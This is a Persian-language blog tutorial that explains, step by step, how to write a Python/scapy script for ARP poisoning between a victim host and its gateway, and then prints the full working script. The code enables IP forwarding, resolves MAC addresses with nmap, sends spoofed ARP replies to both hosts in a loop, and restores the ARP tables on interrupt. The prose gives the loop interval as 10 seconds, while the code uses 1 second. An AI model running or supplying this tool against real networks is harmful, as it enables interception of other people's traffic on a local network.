آموزش نوشتن برنامه ARP Poisoning در پایتون به زبان ساده

در این مقاله قصد داریم یک برنامه ساده به زبان پایتون بنویسیم که توی ترمینال لینوکس (یعنی بدون محیط گرافیکی و command-based) اجرا بشه و عمل ARP Poisoning رو برامون انجام بده. اگر با برنامه نویسی در لینوکس آشنا باشید میدونید که ایجاد یک فایل متنی و تبدیلش به یک برنامه چه مراحلی داره. اگر اطلاعاتی در این مورد ندارید میتونید از آموزش SHELL لینوکس استفاده کنید.

دوره های شبکه، برنامه نویسی، مجازی سازی، امنیت، نفوذ و ... با برترین های ایران

سعی میکنم حتی الامکان توضیحات پایه رو بدم.بسیار خوب، یک سند خالی با هر ویرایشگر متنی که دوست دارید باز کنید. من مثلا وارد میکنم gedit arp-poisoning.py که با استفاده از ویرایشگر gedit یک سند خالی به اسم arp-poisoning.py بسازم. همانطور که بارها قبلا گفتم چیزی تحت عنوان پسوند فایل در اسم فایل توی لینوکس وجود نداره و اون py. که گذاشتم واسه اینه که خودمون متوجه بشیم چی توی فایله نه سیستم عامل.در ابتدای سند، خطوط زیر را وارد کنید تا بگم اینا چین.

#!/usr/bin/python
import sys, os, time, subprocess ,commands
from scapy.all import *

خط اول مثل include توی c و ++c میمونه، یعنی مشخص میکنه ما داریم به چه زبونی برنامه رو مینویسیم و مسیر کتابخونه اون برنامه رو مشخص میکنه.کلمه کلیدی import این قابلیت رو به ما میده که کتابخونه هایی رو که توی زبان پایتون هست رو صدا بزنیم ( یا فراخوانی کنیم ). البته باید کتابخونه ها از قبل نصب باشه. مثلا کتابخونه os باعث میشه که ما بتونیم از دستورات Bash لابلای دستورات پایتون استفاده کنیم. این کار خیلی به درد میخوره.

اینکه ما بتونیم مثلا وسط دستورات پایتون، از perl یا awk و دیگر زبون ها استفاده کنیم خیلی بکار اسکریپت نویسی میاد.نوع دیگری از فراخوانی کتابخونه ها رو خط آخر می بینید. از کتابخانه scapy تمام زیرمجموعه هاشو فراخوانی کردیم. تو این برنامه کار اصلی رو با استفاده از کتابخانه scapy در پایتون انجام میدیم. کسانی که از هک و تست نفوذ بوسیله پایتون سر رشته دارن حتما با این کتابخانه معروف آشنا هستن.

برای عمل ARP Poisoning به اطلاعاتی نیاز داریم که باید از شبکه جمع آوری کنیم. این کار رو با استفاده از توابعی قبل از تابع اصلی برنامه انجام میدیم. اگر با ساختار برنامه نویسی آشنا باشید میدونید که وقتی توابع رو قبل از تابع اصلی main مینویسیم، در خود تابع اصلی main با صدا زدن توابع و ارسال آرگومان به آنها، میتونیم از توابع مذکور استفاده کنیم. اینجا هم دقیقا همین کار رو میکنیم. چند تا تابع قبل از تابع اصلی تعریف میکنیم.بعد از اینکه خطوط بالا را در سند نوشتید، 2 خط زیر را هم بعد از آنها اضافه کنید.

victimIP = raw_input("victim: ")
routerIP = raw_input("router: ")

دستور raw-input عبارتی رو که جلوش داخل پرانتز و بین " " باشه رو عینا چاپ میکنه ( شبیه دستور echo ) و منتظر میمونه تا کاربر مقداری رو وارد کنه. سپس مقدار وارد شده توسط کاربر رو داخل متغیری که مساوی raw-input قرار دادیم، میریزه. برای ARP Poisoning ما به آدرس IP قربانی و Gateway نیاز داریم. پس این دو تا رو از کاربر میگیریم و توی دو تا متغیر به همین نام ذخیره میکنیم.عمل ARP Poisoning در یک شبکه لایه 2یی انجام میشه. یعنی با استفاده از پیام های Broadcast لایه 2 و آدرس MAC. به اولین چیزی که نیاز داریم، آدرس MAC قربانی و Gateway است. برای بدست آوردنشون تابع زیر رو مینویسیم.

def GET_MAC(IP):
	with open('MAC.txt', 'w') as f:
		subprocess.call(['nmap','-sP',IP,],stdout=f)
	status, output = commands.getstatusoutput("grep MAC MAC.txt | cut -f 3 -d' '")
	os.system("rm -rf MAC.txt")
	return output

این تابع یک وظیفه بیشتر نداره: آدرس IP رو میگیره و آدرس MAC متناظر اون سیستم رو برمیگردونه. از کلمه کلیدی def برای تعریف توابع استفاده میکنیم و در مقابل آن نام تابع و اگر هم لازم بود، مشخص میکنیم که آرگومان هم میگیره یا نه. کل خط دوم میگه که یک فایل خالی به اسم MAC.TXT درست کن. این یک فایل temp هستش و آخرش پاکش میکنیم. w از write میاد یعنی قراره توش بنویسیم. f هم از فایل میاد (کلیدی نیست f ولی w کلیدیه)، یعنی به فایل باز شده از طریق f دسترسی داریم.

(میتونستم بنویسم myfile مثلا که واضح تر باشه). خط بعدی یه الگوئه. یعنی یکی از راههای استفاده از دستورات سیستمی ( دستور سیستمی یعنی استفاده از Bash ) در برنامه هستش. توی Bash دستور nmap رو داریم که دستور استفاده از ابزار nmap هستش و مثل اکثر دستورات Bash یک سری سویچ هم داره که بعد دستور وارد میکنیم. این خط دستور nmap رو با سویچ sP- و آرگومان IP که آدرس IP قربانیه اجرا میکنه. (اون کلمه IP کلیدی نیست). سپس خروجی دستور یعنی stdout رو میریزه جایی که f اشاره میکنه، یعنی خروجی دستور nmap رو میریزه تو فایل MAC.TXT.

خط بعدی یه الگوی دیگه برای استفاده از دستورات سیستمیه. الگو توضیح خاصی نداره، باید یه بار ببینید و بفهمید چجوری ازش استفاده کنید. توی خروجی دستور nmap آدرس MAC هم بود، ولی کلی اطلاعات اضافی هم هست که لازم نداریم. با استفاده از grep و cut آدرس MAC رو جدا میکنیم. اینکه از کجا فهمیدم چجوری باید از grep و cut استفاده کنم اینه که فایل MAC.TXT رو بررسی کردم که سطر و ستوناش چحوریه. خروجی دستور این خط توی output ریخته میشه.ط بعدی هم یه الگوی دیگه برای استفاده از دستورات سیستمیه. دستور rm رو اجرا میکنه که فایل MAC.TXT رو پاک کنه. خط آخر هم مقدار output رو به عنوان خروجی تابع return میکنه.حالا یک تابع برای ارسال بسته های مسموم مینویسیم. (هنوز به تابع main نرسیدیم و همه اینا بالاشه). دستورات زیر را در ادامه سند اضافه کنید.

def poisoning(routerIP, victimIP):
    victimMAC = GET_MAC(victimIP)
    routerMAC = GET_MAC(routerIP)
    send(ARP(op =2, pdst = victimIP, psrc = routerIP, hwdst = victimMAC), count = 3)
    send(ARP(op =2, pdst = routerIP, psrc = victimIP, hwdst = routerMAC), count = 3)

این تابع کار اصلی برنامه رو انجام میده یعنی ارسال بسته های مسموم به سمت قربانی و Gateway. این تابع آدرس IP قربانی و Gateway رو به عنوان آرگومان دریافت میکنه و توی خودش، تابع GET-MAC رو صدا میزنه و IP ها رو بهش ارسال میکنه و آدرس MAC متناظر هر کدوم رو از GET-MAC میگیره و توی دو تا متغیر به همین نام ذخیره میکنه.2 خط بعدی بسته های مسوم رو به سمت قربانی و به سمت Gateway میفرسته.

op از opcode میاد، opcode یا مقدار 1 داره یا 2. 1 به معنی بسته درخواست و 2 به معنی بسته جواب است. بقیه مقادیر فک میکنم واضح باشه. با این بسته ها، مهاجم خودش رو به جای قربانی به Gateway معرفی میکنه و در مقابل خودش رو به عنوان Gateway به قربانی معرفی میکنه ( به مقدار آرگومان ها توجه کنید، همین جمله ای که گفتم رو معنی میده ). count هم یعنی تعداد که 3 هستش که 3 تا بسته بفرست. ( در تابع main مشخص میکنیم که هر 10 ثانیه یکبار این تابع رو صدا بزن، یعنی هر 10 ثانیه 3 تا بسته مسموم آرپ به قربانی و 3 تا هم به Gateway بفرست. ) در حقیقت ما واسط ارتباط میان قربانی و Gateway قرار گرفتیم و ترافیک ارسالی و برگشتی را میتوانیم مانیتور کنیم ( تو این برنامه این کار رو نمیکنیم ). اصطلاحا به این نوع حملات man in the middle گفته میشود.آخرین تابع قبل از تابع main یک جور تابع Restore هست. طوری برنامه ریزی شده که در صورت وقوع وقفه ( Interrupt )، تابع Restore اجرا بشه و عکس عمل مسموم سازی انجام بشه و شرایط به حالت عادی برگرده. وقفه رو مثلا با فشار دادن کلید کنترل و c میشناسیم.

def Restore(routerIP, victimIP):
    victimMAC = GET_MAC(victimIP)
    routerMAC = GET_MAC(routerIP)
    send(ARP(op = 2, pdst = routerIP, psrc = victimIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc= victimMAC), count = 10) 
    send(ARP(op = 2, pdst = victimIP, psrc = routerIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = routerMAC), count = 10)

این تابع دقیقا عکس تابع قبلی است. الگوی ff:ff:ff:ff:ff:ff یعنی پیام BroadCast. این تابع باعث میشه دوباره ارتباط مستقیم میان قربانی و Gateway برقرار بشه.در نهایت سراغ تابع اصلی برنامه میرویم که با نام ARP-POISONING مشخص شده است.

def ARP_POISONING():
    os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
    while 1:
        try:
            poisoning(routerIP, victimIP)
            time.sleep(1)
        except KeyboardInterrupt:
            Restore(routerIP, victimIP)
            os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
            sys.exit(1)

if __name__ == "__main__":
    ARP_POISONING()

خط اول که قبلا از شبیهش استفاده کردیم. اگر مقدار 1 در داخل فایلی که در کد مشخص است ریخته شود، خاصیت Routing سیستم عامل فعال میشود. در حالت پیش فرض صفر است. مقدار صفر هم که خاصیت Routing را غیرفعال میکند.برنامه داخل یک حلقه while بینهایت اجرا میشود. در پایتون ساختار try except یعنی مادامی که میتوانی دستورات مقابل try را اجرا کن، هر وقت شرایط جدیدی پیش آمد، دستورات مقابل except را اجرا کن. KeyboardInterrupt یک عبارت کلیدی است، یعنی هر موقع دکمه کنترل و c فشار داده شد.

پس این طور شد که: تابع poisoning را اجرا کن، 10 ثانیه صبر کن، سپس دوباره تابع poisoning را اجرا کن و این کار را تا بینهایت ادامه بده، اگر وقفه آمد از حلقه خارج شو و کد مقابل except را انجام بده.اون if آخر هم تابع main رو مشخص میکنه فک کنم. ( راستش نمیدونم دقیقا چیه ) برنامه رو که توی ترمینال اجرا کنید اول از همه اون 2 خط raw-input اول رو اجرا میکنه و میره توی تابع ARP-POISONING و بقیه فراخوانی ها و کارها از اونجا انجام میشه. از صحت اجرای برنامه به طرق مختلفی میشه اطمینان حاصل کرد. من روی یک ویندوز xp بدبخت این حمله رو اجرا کردم.

در واقع روی vmware یک centos و windows xp دارم و centos نقش مهاجم، مودم خونه نقش Gateway و اون ویندوز xp بدبخت هم نقش قربانی رو داشت. توی cmd ویندوز جدول آرپ رو قبل و بعد از حمله بررسی کردم. همانطور که توی عکس مشخصه آدرس 192.168.1.1 که آدرس مودم هست رو بعد از حمله با یک MAC دیگه میشناسه که نشون میده عمل مسموم سازی درست انجام شده.

بررسی صحت انجام عمل مسموم سازی با استفاده از جدول ARP در ویندوز

سعی کردم تا جایی که ممکنه راحت و واضح توضیح بدم کدارو، میدونم که بی اشکال نیست و قطعا میشه بهترش کرد. مثلا میشه کمتر از دستورات Bash استفاده کرد، من هر جا گیر میکنم تو پایتون از Bash استفاده میکنم !!!! از دستور nmap بصورت مستقیم میشه توی پایتون استفاده کرد (اگه کتابخونش رو صدا بزنید) ولی من نتونستم آدرس MAC رو ازش بکشم بیرون و مجبور شدم از Bash استفاده کنم. کد کامل برنامه رو آخر مقاله میزارم. صمیمانه و مشتاقانه منتظر پیشنهادات دوستان و متخصصین امر، برای بهبود برنامه هستیم. :)))

#!/usr/bin/python
import sys, os ,time, subprocess, commands
from scapy.all import *

victimIP = raw_input("victim: ")
routerIP = raw_input("router: ")

def GET_MAC(IP):
	with open('MAC.txt', 'w') as f:
		subprocess.call(['nmap','-sP',IP,],stdout=f)
	status, output = commands.getstatusoutput("grep MAC MAC.txt | cut -f 3 -d' '")
	os.system("rm -rf MAC.txt")
	return output

def poisoning(routerIP, victimIP):
    victimMAC = GET_MAC(victimIP)
    routerMAC = GET_MAC(routerIP)
    send(ARP(op =2, pdst = victimIP, psrc = routerIP, hwdst = victimMAC), count = 3)
    send(ARP(op =2, pdst = routerIP, psrc = victimIP, hwdst = routerMAC), count = 3)

def Restore(routerIP, victimIP):
    victimMAC = GET_MAC(victimIP)
    routerMAC = GET_MAC(routerIP)
    send(ARP(op = 2, pdst = routerIP, psrc = victimIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc= victimMAC), count = 10) 
    send(ARP(op = 2, pdst = victimIP, psrc = routerIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = routerMAC), count = 10)

def ARP_POISONING():
    os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
    while 1:
        try:
            poisoning(routerIP, victimIP)
            time.sleep(1)
        except KeyboardInterrupt:
            Restore(routerIP, victimIP)
            os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
            sys.exit(1)

if __name__ == "__main__":
    ARP_POISONING()

نظرات